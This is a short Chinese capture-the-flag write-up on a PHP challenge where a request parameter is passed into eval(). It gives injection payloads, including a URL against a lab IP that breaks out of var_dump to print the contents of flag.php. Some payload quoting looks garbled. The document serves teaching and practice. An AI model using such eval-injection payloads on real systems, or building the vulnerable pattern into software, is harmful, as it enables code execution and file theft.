本地包含 writeup

耗尽温柔 提交于 2020-02-06 19:24:52

9.本地包含
查看源码

<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?>

知识点
1.$_REQUEST: 可以获取以POST方法和GET方法提交的数据,但是速度比较慢
2.eval: 把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。
3.var_dump: 函数用于输出变量的相关信息

解题思路

方法1

eval应该是此题的突破口,能够执行php代码。eval()会将参数字符串当作命令语句执行,故利用类似单引号闭合的原理可以注入语句。构造payload
hello是接受参数的变量,接下来就是构建hello变量,使其能够闭合var_dump,利用print_r输出

首先闭合var_dump: 1)";
第二步构建print_r:print_r(file("./flag.php"));
/file() 函数把整个文件读入一个数组中/
URL构建结束:
http://123.206.87.240:8003/index.php?hello=1);print_r(file(“flag.php”)

构建的URL触发的 eval操作为
eval(“var_dump(1);print_r(file(”./flag.php")")

成功输出 flag.php 文件内容

方法2

直接将flag.php文件读入变量hello中

1.?hello=get_file_contents(‘flag.php’)
2.?hello=file(‘flag.php’)

在这里插入图片描述

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!